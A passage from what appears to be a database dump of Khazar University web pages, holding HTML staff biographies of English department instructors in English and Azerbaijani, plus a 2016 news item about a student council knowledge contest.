BA degree in English Language Teaching at Azerbaijan University of&nbsp;Languages. MA degree she earned in Methods and Methodology of English. She is currently teaching a Foundation course at Khazar University.  <br></p><p><strong>E-mail:</strong> <a href=\"mailto:aytan.khalili@khazar.org\">aytan.khalili[at]khazar.org</a>  <a href=\"mailto:ayten_xelilli93@mail.ru\"></a></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/eng_depart/CV/sayyara_guliyeva_cv.pdf\"><img src=\"/files/eng_depart/images/sayyara_kuliyeva.jpg\" style=\"width:150px;height:191px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Sayyara Guliyeva</a></strong></p><p>Sayyara Guliyeva did her BA in English Philology at Azerbaijan University of Languages and MA in English Linguistic again at Azerbaijan University of Languages, Baku. She is doing her Ph.D. now. She has delivered many courses: Reading comprehension and writing skills, Listening comprehension and speaking skills, Academic writing, Consecutive interpreting and etc.<br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:sayyarakuliyeva@yahoo.com\"></a><a href=\"mailto:sayyara.guliyeva@khazar.org\">sayyara.guliyeva[at]khazar.org</a></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/eng_depart/CV/parvana_jafarova_cv.pdf\"><img src=\"/files/eng_depart/images/parvana_jafarova.jpg\" style=\"width:150px;height:155px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Parvana Jafarova</a></strong>  <br></p><p>Parvana Jafarova did her BA in English Language teaching&nbsp;at Azerbaijan University of Languages and MA in English Linguistic again at Azerbaijan University of Languages, Baku. She is currently teaching a Foundation course at Khazar University.</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:parvana.jafarova@khazar.org\">parvana.jafarova[at]khazar.org</a></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/eng_depart/CV/nargiz_mammadova_cv.pdf\"><img src=\"/files/eng_depart/images/nargiz_mammadova.jpg\" style=\"width:150px;height:175px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Nargiz Mammadova</a></strong></p><p>Nargiz Mammadova studied for both B.A. and M.A. degrees at Azerbaijan University of Languages with Honors Diploma. She is an Academic English instructor at the English Language and Literature Department of Khazar University. Since 2017, she has been working as a teacher of methods of English and Curriculum at Azerbaijan University of Languages. She also works as an English teacher at Baku Slavic University School Lyceum Complex.<br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:mnargiz128@gmail.com\">mnargiz128[at]gmail.com</a><br></p><p><br></p>  \r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/eng_depart/CV/ronald_wayne_smith_cv.pdf\"><img src=\"/files/eng_depart/images/ronald_wayne_smith.jpg\" style=\"width:150px;height:117px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Ronald Wayne Smith</a></strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:ron.smith@eku.edu\">ron.smith[at]eku.edu</a>  </p>'),(2405,1458,'az','Tələbə Məclisi Müstəqillik Gününə həsr olunmuş II Bilik yarışını keçirdi','2016-cı il oktyabrın 18-də Xəzər Universiteti Tələbə Məclisi 18 Oktyabr –Azərbaycan Respublikasının Müstəqillik Gününə həsr olunmuş II Bilik yarışını keçirdi...','<p>2016-cı il\r\noktyabrın 18-də Xəzər Universiteti Tələbə Məclisi 18 Oktyabr –Azərbaycan\r\nRespublikasının Müstəqillik Gününə həsr olunmuş II Bilik yarışını keçirdi. 16 komandada\r\n48 iştirakçının qatıldığı yarışmada universitetin xarici tələbələri də mübarizə\r\naparırdılar. 2 komanda ilə təmsil olunun xarici tələbələrimiz yüksək səy göstərərək\r\nikinci mərhələyədək gəlmişdir. Ümumi 3 mərhələdən ibarət olan yarışda sonda 4\r\nkomanda mübarizə aparmış, 3 komanda qalib oldu. Sıralama aşağıdakı kimidir:</p>\r\n<p>1. <strong><em>“Carpe-Diem”</em></strong>\r\n(Mühəndislik və tətbiqi elmlər fakultəsi);</p>\r\n<p>2. <strong><em>“Three\r\nLegends”</em></strong> (Humanitar və sosial elmlər fakultəsi);</p>\r\n<p>3. <strong><em>“Qızıl\r\ndişlər”</em></strong> (Humanitar və sosial elmlər fakultəsi);</p>\r\n<p>4. <strong><em>“Burger”</em></strong>\r\n(Mühəndislik və tətbiqi elmlər fakultəsi).</p>\r\n<p>&nbsp;</p>\r\n<p>Tədbir\r\niştirakçıları universitet rəhbərliyi tərəfindən sertifikat və dəyərli hədiyyələrlə\r\nmükafatlandırılacaqlar.</p>'),(910,598,'az','İşçi heyəti','İşçi heyəti','<img src=\"/files/eng_depart/20180301_103323-1.jpg\" style=\"width:150px;height:180px;float:left;margin:7px\"><p><strong><a href=\"http://www.khazar.org/files/eng_depart/Firangiz%20Nasirova%20%20%20%2B.pdf\">Firəngiz Nəsirova</a></strong><br><strong></strong></p><p style=\"text-align:justify\">Firəngiz Nəsirova İngilis dili və ədəbiyyatı kafedrasının baş müəllimidir.\r\nO, Xəzər Universitetində 2001-ci ildən bu günə kimi işləyir.&nbsp;Firəngiz\r\nNəsirova 1996-cı ildə Müştərək Təhsil Araşdırmaçısı kimi Amerika Birləşmiş\r\nŞtatlarını ziyarət etmişdir. O, 1994-cü ildə USLA,&nbsp;CA,&nbsp;USA-nın Təhsil və\r\nİnformasiya elmləri üzrə Magistr və Doktorantura məktəbinin&nbsp;professor heyəti&nbsp;ilə\r\ngörüşmüşdür. O, tədris metodikası üzrə İngilis dilinin tədrisi Metodikası, Tərcümə\r\npraktikası, İngilis dili filmlərdən, Xarici tələbələr üçün Azərbaycan Ədəbiyyatı,kurslarını\r\ntədris etmişdir, Vaşingtonda Sisterhood&nbsp;(bacılıq) qlobal İnstitunda qadın\r\nhaqları haqqında dərc olunan “Claiming our rights” dərsliyindən təlim kurslari\r\nkecmisdir.  </p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:fnasirova@khazar.org\">fnasirova[at]khazar.org</a>&nbsp;</p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/eng_depart/Kamala_Asgerova%20%2B.pdf\"><img src=\"/files/eng_depart/kamala_a.jpg\" style=\"width:150px;height:163px;margin:7px;float:left\">Kəmalə Əskərova</a></strong></p><p style=\"text-align:justify\">Kəmalə Əskərova 1983-cü ildə Azərbaycan Dövlət Dillər İnstitutundan məzun olmuşdur. O, öz karyerasına 1993-cü ildə Xəzər Universitetinin İngilis Dili və Ədəbiyyatı Fakültəsində ingilis dili müəllimi olaraq başlamış və burada ESL (İngilis dili ikinci dil kimi), Tibb və Hüquq üzrə ESP (xüsusi məqsədlər üçün ingilis dili), Advanced Grammar Qrammatika,Current Events Cari Hadisələr kimi bir sıra kurslara dərs keçmişdir. 1995-ci ildən etibarən o, Xəzər Universitetinin İngilis Dili və Ədəbiyyatı Fakültəsində baş müəllim kimi fəaliyyət göstərmişdir. 1994-cü ildən 1997-ci ilədək Xəzər Universitetində Tibbi Həkimlər üçün ingilis dilini təkmilləşdirmə kurslarında təlimlər keçmişdir. 2009-cu ilin sentyabr ayından 2011-ci ilin iyun ayına qədər isə Zərifə Əliyeva adına Liseyde ingilis dili koordinatoru vəzifəsində işləmişdir. 2011-ci ilin sentyabrında Xəzər Universitetinə qayıdaraq Baş İngilis dili Müəllimi kimi fəaliyyətinə davam etmişdir. 2014-cüs ildən bu günə qədər o, Xəzər Universitetində Foundations üzrə Koordinator vəzifəsində işləyir.  <br>\r\n  </p>\r\n<p><strong>E-mail:</strong> <a href=\"mailto:kamala.Askerova@khazar.org\">kamala.askerova[at]khazar.org</a></p>\r\n<hr>\r\n<p text-align:justify\"=\"\" style=\"text-align: justify;\"><a href=\"http://www.khazar.org/files/pdf/Eynur%20Mehdiyev%20CV.pdf\"><img src=\"/files/pdf/eynur.jpg\" style=\"width:150px;height:185px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"></a><strong><a href=\"http://www.khazar.org/files/eng_depart/CV/eynur_mehdiyev_cv.pdf\">Eynur Mehdiyev</a></strong></p><p>Eynur Mehdiyev bakalavr dərəcəsini Azərbaycan Dillər Universitetində və magistr dərəcəsini Koventri universitetində (Birləşmiş Krallıq) almışdır. Onun 10 ildən çox tələbələrə və böyüklərə İngilis dilini tədris etmə təcrübəsi var. Hal-hazırda Xəzər universitetində İngilis dili və ədəbiyyatı departamentində müdir müavini vəzifəsində çalışır.</p><p><strong>Tel:</strong>&nbsp;(+994&nbsp;12) 421&nbsp;79&nbsp;16 (281)&nbsp;</p><p text-align:justify\"=\"\" style=\"text-align: justify;\"><strong>E-mail:</strong>&nbsp;<a href=\"mailto:emehdiyev@khazar.org\">emehdiyev[at]khazar.org</a></p><p text-align:justify\"=\"\" style=\"text-align: justify;\"><br></p>\r\n<hr>\r\n<p text-align:justify\"=\"\" style=\"text-align: justify;\"><strong><a href=\"http://www.khazar.org/files/eng_depart/MILANA_ABBASOVA_cv.pdf\"><img src=\"/files/eng_depart/milana.png\" style=\"border:0px none #0000ee;width:150px;height:189px;vertical-align:baseline;float:left;margin:7px\"></a></strong><a href=\"http://www.khazar.org/files/eng_depart/MILANA_ABBASOVA_cv%20January%202018.pdf\" style=\"text-align:start\"><strong>Milana Abbasova</strong></a>&nbsp;</p><p text-align:justify\"=\"\" style=\"text-align: justify; padding-left: 160px;\">Milana Abbasova həm bakalavr, həm də magistr təhsilini Azərbaycan Dillər Universitetində almışdır. O, Xəzər Universitetinin dissertantıdır. Milana Abbasova 10 ildən artıqdır ki, Xəzər Universitetində çalışır və&nbsp;&nbsp;“Qrammatika”, “Dil tarixi”, “Sosiodilçilik” və digər fənləri tədris edir. O, hal-hazırda İngilis dili və ədəbiyyatı departamentinin&nbsp;proqram koordinatoru vəzifəsini icra edir.  </p>\r\n<p text-align:justify\"=\"\" style=\"text-align: justify; padding-left: 160px;\"><strong>Phone:</strong>&nbsp;(+994&nbsp;12) 421&nbsp;79&nbsp;16 (230)</p><p text-align:justify\"=\"\" style=\"text-align: justify; padding-left: 160px;\"><strong>E-mail:</strong>&nbsp;<a href=\"http://mailto:mabbasova@khazar.org/\"></a><a href=\"mailto:mabbasova@khazar.org\">mabbasova[at]khazar.org</a></p><p text-align:justify\"=\"\" style=\"text-align: justify; padding-left: 160px;\"><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/eng_depart/Parvin_Karimova%2B.pdf\">Pərvin Kərimova<img src=\"/files/eng_depart/parvin_k.jpg\" style=\"float:left;width:150px;height:168px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><br></a></strong></p><p>Pərvin Kərimova 2004-2008-ci illərdə Xəzər Universitəsinin “Tərcümə” fakültəsini fərqlənmə diplomu ilə bitirmişdir. 2009-2-011-ci illərdə Xəzər Uniersitəsinin “İngilis dili və Ədəbiyyatı” ixtisasını magistr pilləsi üzrə fərqlənmə diplomu ilə bitirmişdir. Hal-hazırda “Sosila Fəlsəfə” üzrə doktorluq təhsili alır. Bir çox elmi konfransların iştirakçısı olmuşdur. 2008-ci ildə Humanitar və Sosial Elmlər fakültəsində dekan assistenti kimi çalışmışdır. 2009-cu ildən etibarən İngilis dili və Ədəbiyyatı Departamentində müəllimə kimi fəaliyyət göstərir. İngilis Dilinin Əsasları (Foundations 1 and Foundations 2), Akademik İngilis,&nbsp;Grammar pre-advanced fənlərini tədris edir.<br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:pkerimova@khazar.org\">pkerimova[at]khazar.org</a></p>\r\n<hr>\r\n<strong><img src=\"http://www.khazar.org/files/eng_depart/gulnur_n.png\" style=\"float:left;width:150px;height:202px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><a href=\"http://www.khazar.org/files/eng_depart/Gulnur_Miriyeva%2B%20(1).pdf\"><p>Gülnur Nəbiyeva</p></a></strong><p>Gülnur Nəbiyeva 2011-ci ildən etibarən Xəzər Universitetinin İngilis dili və ədəbiyyatı departamentində müəllim kimi fəaliyyət göstərir. O, təhsilini tərcümə ixtisası üzrə MaQU- da (Rusiya Federasiyası) almışdır. Bir sıra ixtisas (Qrammatika, İqtisadi tərcümə, Neft və qaz mətnlərinin tərcüməsi, Psixolinqvistika) və digər fənləri tədris edir. O, hal-hazırda Xəzər Universitetində doktorantura tələbəsidir. Onun dissertasiya mövzusu “Dilin variasiyaları və mətnin təsnifatı” adlanır.<br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:gnabiyeva@khazar.org\">gnabiyeva[at]khazar.org</a></p><p><br></p>\r\n<hr>\r\n<p><img src=\"/files/eng_depart/IMG-20180115-WA0008.jpg\" style=\"border:0px  #000000;width:150px;height:194px;float:left;margin-left:7px;margin-right:7px;margin-bottom:7px\"><a href=\"http://www.khazar.org/files/eng_depart/Naila_Gasimova%20%2B.pdf\"><strong>Nailə Qasımova</strong></a></p><p style=\"text-align:justify\">Nailə Qasımova Azərbaycan Dillər Universitetinin məzunudur. O, hal-hazırda Xəzər Universitetinin İngilis dili və ədəbiyyatı departamentində Britaniya və Amerika ədəbiyyatı və bir sıra başqa fənləri tədris edir.<br></p><p><strong>E-mail:</strong>&nbsp;<a href=\"http://mailto:Naila.Gasimova@khazar.org\">Naila.Gasimova[at]khazar.org</a>&nbsp;</p><p><br></p><p><br></p><p><br></p>\r\n<hr><img src=\"/files/eng_depart/lala.png\" style=\"border:0px #000000;font-size:large;width:150px;height:185px;float:left;margin:7px\"><p><strong><a href=\"http://www.khazar.org/files/eng_depart/CV/lala_gamidova_cv.pdf\">Lalə Həmidova</a></strong></p><p style=\"text-align:justify\">Lala Gamidova, MA&nbsp;in Linguistics, earned her degree at the Peter the Great Saint-Petersburg Polytechnic University, Institute of Humanities, Linguistics and Cross-Cultural Communication Department.&nbsp;She is a full-time instructor at the English Language and Literature Department. Lala Gamidova teaches a variety of courses for BA&nbsp;and MA&nbsp;level students.&nbsp;Lala Gamidova’s major research interests embrace Applied Linguistics and Discourse Analysis which is the main focus of her PhD&nbsp;thesis “The Formation of Discourse Ability in Linguistic Personality in Triglossia Environment.”</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:lgamidova@khazar.org\">lgamidova[at]khazar.org</a></p>\r\n<hr>\r\n<img src=\"/files/eng_depart/zamira.png\" style=\"border:0px #000000;width:150px;height:185px;margin:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/eng_depart/Zamira%20Gurbanova%20%2B.pdf\">Zamirə Qurbanova</a></strong></p><p style=\"text-align:justify\">Zamirə Qurbanova 2011-ci ildən etibarən Xəzər Universitetinin İngilis dili və ədəbiyyatı departamentində müəllim kimi fəaliyyət göstərir. O, bakalavr (Azərbaycan Dillər Universiteti) və magistr (Qafqaz Universiteti) təhsilini tərcümə ixtisası üzrə almışdır. Yazılı tərcümə, Hüquqi və məhkəmə sənədlərinin tərcüməsi, Elmi- texniki mətnlərin tərcüməsi, İqtisadi mətnlərin tərcüməsi, İctimai-siyasi mətnlərin tərcüməsi, Sənədləşmə və terminologiya, Ardıcıl tərcümə və qeydgötürmə, Şifahi tərcümə, Yazılı mətnin şifahi tərcüməsi və digər fənləri tədris edir. Zamirə Qurbanova eyni zamanda 2012-ci ildən etibarən Lüğət və Ensiklopediya mərkəzində redaktor köməkçisi kimi də fəaliyyət göstərir. O, hal-hazırda Xəzər Universitetində doktorantura tələbəsidir.  </p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:Zqurbanova@khazar.org\">zqurbanova[at]khazar.org</a></p>\r\n<hr>\r\n<p><img src=\"/files/eng_depart/IMG-20180227-WA0003.jpg\" style=\"border:0px  #000000;width:170px;height:182px;float:left;margin:7px\"><a href=\"http://www.khazar.org/files/eng_depart/CV/saadat_farhadova_cv.pdf\"><strong>Səadət Fərhadova</strong></a><br></p><p style=\"text-align:justify\">Səadət Fərhadova Azərbaycan Dillər Universitetinin Dilşünaslıq fakültəsinin məzunudur. Universitetin Bakalavr və Magistratura pillələrini fərqlənmə diplomu ilə bitirmişdir. Oklahoma MMC-də tərcüməçi və sinxron tərcüməçi kimi fəaliyyət göstərmişdir. Sonraki illərdə TCS şirkətində beynəlxalq işçi heyətinə İngilis dili, Business English tədris etmiş; geyri-ana dil daşıyıcıları üçün İngilis dili danışıq kurslarının təşkilatçısı və icraçısı olmuşdur. 2007 ildən bəri Xəzər Universitetinin İngilis Dili və Ədəbiyyat Departamentinin Ingilis Dili müəllimi vəzifəsində çalışır. Tədris etdiyi fənlər əsasən English Foundations, Academic English ,English for Professional Communication,ALS ve ESP on Economics təşkil edir. 2011-2015-ci illərdə İqtisadiyyat ve Menecment fakültəsində Alt Programlar üzrə Koordinatorvəzifəsində çalışmışdır. Eyni zamanda, Departamentin bir hissəsi olan “Keyfiyyətin Giymətləndirilməsi Üzrə Komitə”nin üzvü olmuşdur. Bir sıra beynəlxalq konfransların iştirakçısıdır.2009 ildə SEPHİS şəbəkə programı üzrə Azərbaycanda təşkil olunmuş və Xəzər Universitetinin ev sahibliyi etdiyi “Gadınlar və İctimai Sfera” adlı konfransda sinxron tərcüməçi kimi fəaliyyət göstərmişdir.<br><strong></strong></p>  <p><strong>E-mail:</strong>&nbsp;<a href=\"http://mailto:sfarhadova@khazar.org\">sfarhadova[at]khazar.org</a></p>\r\n<hr>\r\n<img src=\"/files/eng_depart/irina_o.jpg\" style=\"float:left;margin:7px;width:150px;height:180px\"><p><strong><a href=\"http://www.khazar.org/files/eng_depart/Irina%20Orujova%20%2B.pdf\">İrina Orucova</a></strong></p><p style=\"text-align:justify\">İrina Orucova Xəzər Universitetinin İngilis dili və ədəbiyyatı departamentində müəllim kimi fəaliyyət göstərir. O, Dilçilik və Tərcümə ilə bağlı müxtəlif fənləri tədris edir. İrina Orucova İngilis dilinin üslubiyyəti və sintaksisi ilə bağlı müxtəlif elmi məqalələrin müəllifidir.  </p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:Irina.Orujova@khazar.org\">Irina.Orujova[at]khazar.org</a></p><p style=\"text-align:justify;line-height:normal;font-size:large\"><br></p><p style=\"text-align:justify;line-height:normal;font-size:large\"><br></p>\r\n<hr>\r\n<p><img src=\"/files/eng_depart/IMG-20180115-WA0016.jpg\" style=\"border:0px #000000;width:150px;height:127px;vertical-align:baseline;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/eng_depart/CV/leyla_rahimova_cv.pdf\">Leyla Rəhimova</a></strong></p><p style=\"text-align:justify\">1998-2002-ci illərdə Xəzər Universitetinin Hüquq ve Sosial Elmlər fakultəsində təhsil alıb Hüquqsunaslıq üzrə bakalavr pilləsini fərqlənmə ile bitirib. 2002-2003-cü illərdə 1 il əlavə oxuyaraq Beynəlxalq Hüquq üzrə bakalavr diplomunu əldə etmişdi. 2006-2010-cü illərdə Azərbaycan Dillər Universitetində təhsil alıb Ingilis Dili ve Ədəbiyyat üzrə Bakalavr pilləsini 3-cü fərqlənmə diplomu ilə bitirib. Təhsilini davam etdirmək ücün 2011-2014-cü illərdə Xəzər Universitetinin Humanitar ve Sosial Elmlər fakültəsində təhsil alıb, “Zərflərin ve Sifətlərin müqayisəli analizi” mövzusunda müdafiə edib maqistr dərəcəsini əldə edib. Bir neçə seminar ve treninqlərdə iştirak etmişdir. 2012-ci ildən Xəzər Universitetində çalışır. Ingilis Dilinin Əsasları ve Akademik Ingilis dili fənnlərini tədris etmişdir. Hal-hazırda Ingilis Dilinin əsasları 1 fənnini tədris etməkdədir.  </p><p><strong>E-mail:</strong> <a href=\"mailto:Leyla.Rahimova@khazar.org\">Leyla.Rahimova[at]khazar.org</a></p>\r\n<hr>\r\n<p><img src=\"/files/eng_depart/IMG-20180116-WA0013.jpg\" style=\"border:0px #000000;width:150px;height:174px;vertical-align:baseline;margin:7px;float:left\"><a href=\"http://www.khazar.org/files/eng_depart/CV/shahriyar_mammadov_cv.pdf\"><strong>Şəhriyar Məmmədov</strong></a></p><p style=\"text-align:justify\">Bakalavr təhsilini 2012-ci ildə Xəzər Universitetində başa vurduqdan sonra, Budapeştdə Ötvöş Lorand Universitetinin İngilis dili Filologiyası fakultəsinə qəbul olmuşdur. Bu dövrdə, Azərbaycan Macarıstan Gənclər Təşkilatının sədri vəzifəsini icra etmişdir. Bakıya qayıtdıqdan sonra, Xəzər və Bakı Dövlət Universitetində müəllimlik fəaliyyətinə başlamışdır. Hal-hazırda Xəzər Universitetində Doktorantura pilləsində təhsil alır.  <br></p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:Shahriyar.Mammadov@khazar.org\">Shahriyar.Mammadov[at]khazar.org</a></p><p><br></p>\r\n<hr>\r\n<p><img src=\"/files/eng_depart/IMG-20180115-WA0009.jpg\" style=\"border:0px  #000000;width:150px;height:118px;float:left;margin-left:7px;margin-right:7px;margin-bottom:7px\"><a href=\"http://www.khazar.org/files/eng_depart/Aytan%20Mammadova%20%2B.pdf\"><strong>Aytən Məmmədova</strong></a></p><p style=\"text-align:justify\">Azərbaycan Dillər Universitetini bakalavr (2008-2012) və magistr (2012-2014) pilləsi uzrə fərqlənmə diplomu ilə bitirmişdir. İş fəaliyyətinə 2012ci ildə, Xəzər Universitetində başlamış, Humanitar və Sosial elmlər, Mühəndislik və Təhsil fakültələrində Akademik Ingilis dili və Foundations fənnlərini tədris etmişdir. 2014-2015-ci illərdə Azərbaycan Dillər Universitetinin Üslubiyyat kafedrasında ingilis dili müəllimi kimi fəaliyyət gostərmiş və Yazılı və Şifahi oxu fənnini tədris etmişdir. 2015-2016-cı illərdə Bakı Slavyan universitetinin SABAH qruplarında Nitq praktikası fənnini tədris etmiş, 2017ci ildə Azərbaycan Dillər Universitetinin Metodika kafedrasında işləməyə başlamışdır. Kurikulum və Metodika fənnlərini tədris edir.  </p> <p><strong>E-mail:</strong>&nbsp;<a href=\"http://mailto:aytan.mammadova@khazar.org\">aytan.mammadova[at]khazar.org<br></a></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/eng_depart/Adilya_Abdullayeva%2B.pdf\"><img src=\"/files/eng_depart/adela.jpg\" style=\"float:left;margin:7px;width:150px;height:144px\">Adela Abdullayeva</a></strong><br></p><p style=\"text-align:justify\">Adela Abdullayeva received her Bachelor\'s degree in\r\nPhilology in 2003. In 2006, she earned her Master\'s degree in Linguistics at\r\nAzerbaijan University of Languages. Her career path took her from a researcher\r\nposition at Azerbaijan National Academy of Sciences to a brief experience as a\r\ndeputy of Dean at Khazar University School of Education to her current teaching\r\nposition with Khazar University where she has taught a number of courses, such\r\nas Reading and Writing (levels 1 and 2), Foundations 1 and Foundations 2, ESP\r\nComputer and ESP Mechanical Engineering to the students of the School of\r\nEngineering and Applied Sciences. She is a doctoral candidate and is working on\r\nher dissertation ”Orhan Pamuk in English Speaking Literature.”.</p><p><strong>E-mail:</strong> <a href=\"mailto:adela.abdullayeva@khazar.org\">adila.abdullayeva[at]khazar.org</a></p>\r\n<hr>\r\n<p><img src=\"/files/eng_depart/xanim_.jpg\" style=\"float:left;margin:7px;width:150px;height:154px\"><strong><a href=\"http://www.khazar.org/files/eng_depart/CV/khanim_ahmadova_cv.pdf\">Xanım Əhmədova</a></strong></p><p style=\"text-align:justify\">Əhmədova Xanım, 2006-2010-cu illərdə Azərbaycan Dillər Universitetini bitirmişdir. Bakalavr dərəcəsini bitirdikdən sonra 2010-cu ildə o, magistr dərəcəsini İngilis dili və ədəbiyyatı ixtisasını üzrə Qafqaz Universitetində fərqlənmə diplomu ilə başa çatdırmışdır. 2012-ci ildən bugünə qədər Xəzər Universitetinin İngilis dili və ədəbiyyatı kafedrasında İngilis dili müəlliməsi kimi fəaliyyət göstərir. Əsas tədris etdiyi fənlər Təhsil və Humanitar və sosial elmlər kafedralarında İngilis dilinin əsasları fənnləri olmuşdur. 2012-2015-ci illərdə Xəzər Univeritetində German dilləri ixtisası üzrə doktorantura elmi dərəcəsini müvəffəqiyyətlə bitirmişdir. Onun çoxlu sayda Azərbaycan jurnallarında, eləcədə xarici jurnallarda məqalələri var Kanada (Tomson Reyter indeksli jurnal) və Ukrayna. Xanım Əhmədova bir çox beynəlxalq konfranslarda iştirak etmişdir.</p><p><strong>E-mail: </strong> <a href=\"mailto:Khanim.Ahmadova@khazar.org\">Khanim.Ahmadova[at]khazar.org</a></p>\r\n<hr>\r\n<img src=\"/files/eng_depart/sevinj_i.jpg\" style=\"float:left;margin:7px;width:150px;height:178px\"><p><strong><a href=\"http://www.khazar.org/files/eng_depart/CV/sevinj_iskandarova_cv.pdf\">Sevinc İskəndərova</a></strong></p><p style=\"text-align:justify\">Sevinc İskəndərova 2013-cü ildə Bakı Slavyan Universitetinin Tərcümə fakultəsinin əyani şöbəsini (ingilis-azərbaycan dilləri üzrə) fərqlənmə diplomu ilə bitirmişdir. Universitetdə oxuduğu dövrdə YAP (Yeni Azərbaycan Partiyası)nın Rəsmi Xəbərlər Agentliyində iki semestr ard-arda ingilis-azərbaycan dilləri üzrə tərcüməçi kimi işləyib. 2013-cü ildə Koreya Dövlət Təqaüd Proqramını qazanmış və 2014-cü ildə Çonnam Dövlət Universitetində bir illik Koreya İntensiv dil Programını bitirmişdir. 2014-cü ildə Magistr dərəcəsi üzrə Cənubi Koreyanın Hankuk Xarici Dillər Universitetinin İngilis Ədəbiyyatı fakültəsinə daxil olmuş və 2016-cı ildə həmən fakültənin Magistranti adını alıb. 2015ci ildə Cənubi Koreyada Magistr təhsili ərzində 2 dəfə Hankuk Xarici Dillər Universitetinin Akademik Müvəfəqiyyət Göstəricisi Sertifikatına və mükafata layiq görülmüşdür. 2015-ci ildə 4 ay ərzində Azərbaycanın Cənubi Koreya Respublikasındakı Səfirliyində intern olaraq çalışmış və Azərbaycanın Koreyadakı səlahiyyətli səfiri Rəmzi Teymurov tərəfindən sertifikata layiq görülmüşdür. 2015 və 2016-cı illər ərzində iki semestr ard-arda Cənubi Koreyanın Jungsan Orta Məktəbində Azərbaycan və onun mədəniyyəti mövzusunda ingilis dilində dərslər keçmişdir. 2016-cı ildən Xəzər Universiteti İngilis dili və Ədəbiyyatı Departamentinin müəllimidir.  </p>\r\n<p><strong>E-mail:</strong> <a href=\"mailto:sevinj.iskenderova@khazar.org\">sevinj.iskenderova[at]khazar.org</a>&nbsp;</p>\r\n<hr>\r\n<p><img src=\"/files/eng_depart/IMG-20180113-WA0010.jpg\" style=\"border:0px #000000;width:150px;height:127px;float:left;margin-left:7px;margin-right:7px;margin-bottom:7px\"><strong><a href=\"http://www.khazar.org/files/eng_depart/Nubar%20Agalarova_CV%20%2B.pdf\">Nübar Ağalarova</a></strong><br></p>\r\n<p style=\"text-align:justify\">Nubar Agalarova, received her BA&nbsp;in English Language and\r\nLiterature from Azerbaijan University of Languages. In 2008, she received an\r\nMA&nbsp;degree with honors in English language and Literature at Qafqaz\r\nUniversity, where she had worked as a translator (English-Azerbaijani or\r\nAzerbaijani-English) at \"Dushunga\" Translation Centre and as an\r\nEnglish instructor during her student years. Nubar Agalarova\'s teaching\r\nexperience at Azerbaijan High Military School and Kaspi Educational Center\r\nbrought her to the English Language and Literature Department of Khazar\r\nUniversity in 2012 where she has worked ever since.</p><p><strong>E-mail:</strong> <a href=\"mailto:Nubar.Agalarova@khazar.org\">Nubar.Agalarova[at]khazar.org</a></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/eng_depart/Aziza%20Zulfugarova.docx\"><img src=\"/files/eng_depart/aziza_z.jpg\" style=\"float:left;width:150px;height:170px;margin:7px\"></a></strong><strong><a href=\"http://www.khazar.org/files/eng_depart/CV/aziza_zulfugarova_cv.pdf\">Əzizə&nbsp;Zülfüqarova</a></strong></p><p style=\"text-align:justify\">Əzizə Zülfüqarova 2006-2010 illərində Azərbaycan Dillər Universitetini bitirmiş, 2011-ci ildə Xəzər Universitetinin Ingilis dili və ədəbiyyatı fakültəsinə magistr pilləsinə daxil olmuşdur. Təhsil aldığı müddətdə ILETS, Development of American English, Sociolinguistics, Survey of British Literature və digər fənnlər tedris edib. 2014-cü ildə uğurla diplom işini müdafiə etmişdır. 2012-ci ildən Xəzər Universitetinin Ingilis dili və Ədəbiyyati Departamentində Ingilis dilinin əsasları fənnindən dərs deyir.  </p>\r\n<p><strong>E-mail: </strong><a href=\"mailto:aziza.zulfugarova@khazar.org\">aziza.zulfugarova[at]khazar.org</a></p><p><br></p>\r\n<hr>\r\n<p><img src=\"/files/eng_depart/konul_h.jpg\" style=\"float:left;margin:7px;width:150px;height:135px\"><strong><a href=\"http://www.khazar.org/files/eng_depart/CV/konul_huseynova_cv.pdf\">Könül Hüseynova</a></strong></p><p style=\"text-align:justify\">Könül Hüseynova – 2002-ci ildə Dilçilik üzrə bakalavr təhsilini Naxçıvan Dövlət Universitetində almış və həmin universiteti&nbsp;2006-cı ildə fərqlənmə diplomu ilə bitirmişdir. 2009-2011-ci illərdə İngilis dili və ədəbiyyatı üzrə magistr təhsilini Naxçıvan Universitetində almışdır və həmin universiteti fərqlənmə diplomu ilə bitirmişdir. İngilis dili müəllimliyi fəaliyyətinə 2006-cı ildə başlamışdır. 2006-2010 cu illərdə Araz kurslarında və 11 saylı orta məktəbdə İngilis dili müəllimi kimi işləyib. 2012-ci ildə Xəzər Universitetinin hazırlıq mərkəzində Ingilis dili müəllim kimi işləyib. 2013-cü ildən Xəzər Universitetinin İngilis dili və ədəbiyyatı departamentində ingilis dili müəllimi kimi işləməkdədir. Mühəndislik və tətbiqi elmlər fakültəsində&nbsp;İngilis Dilinin Əsasları ( Foundations 1 və Foundations 2 ) fənnlərini tədris edir.  <br><span style=\"font-size:large;line-height:115%;background:#fffffff\" lang=\"EN-US\"><em></em></span></p>\r\n<p><strong>E-mail:</strong> <a 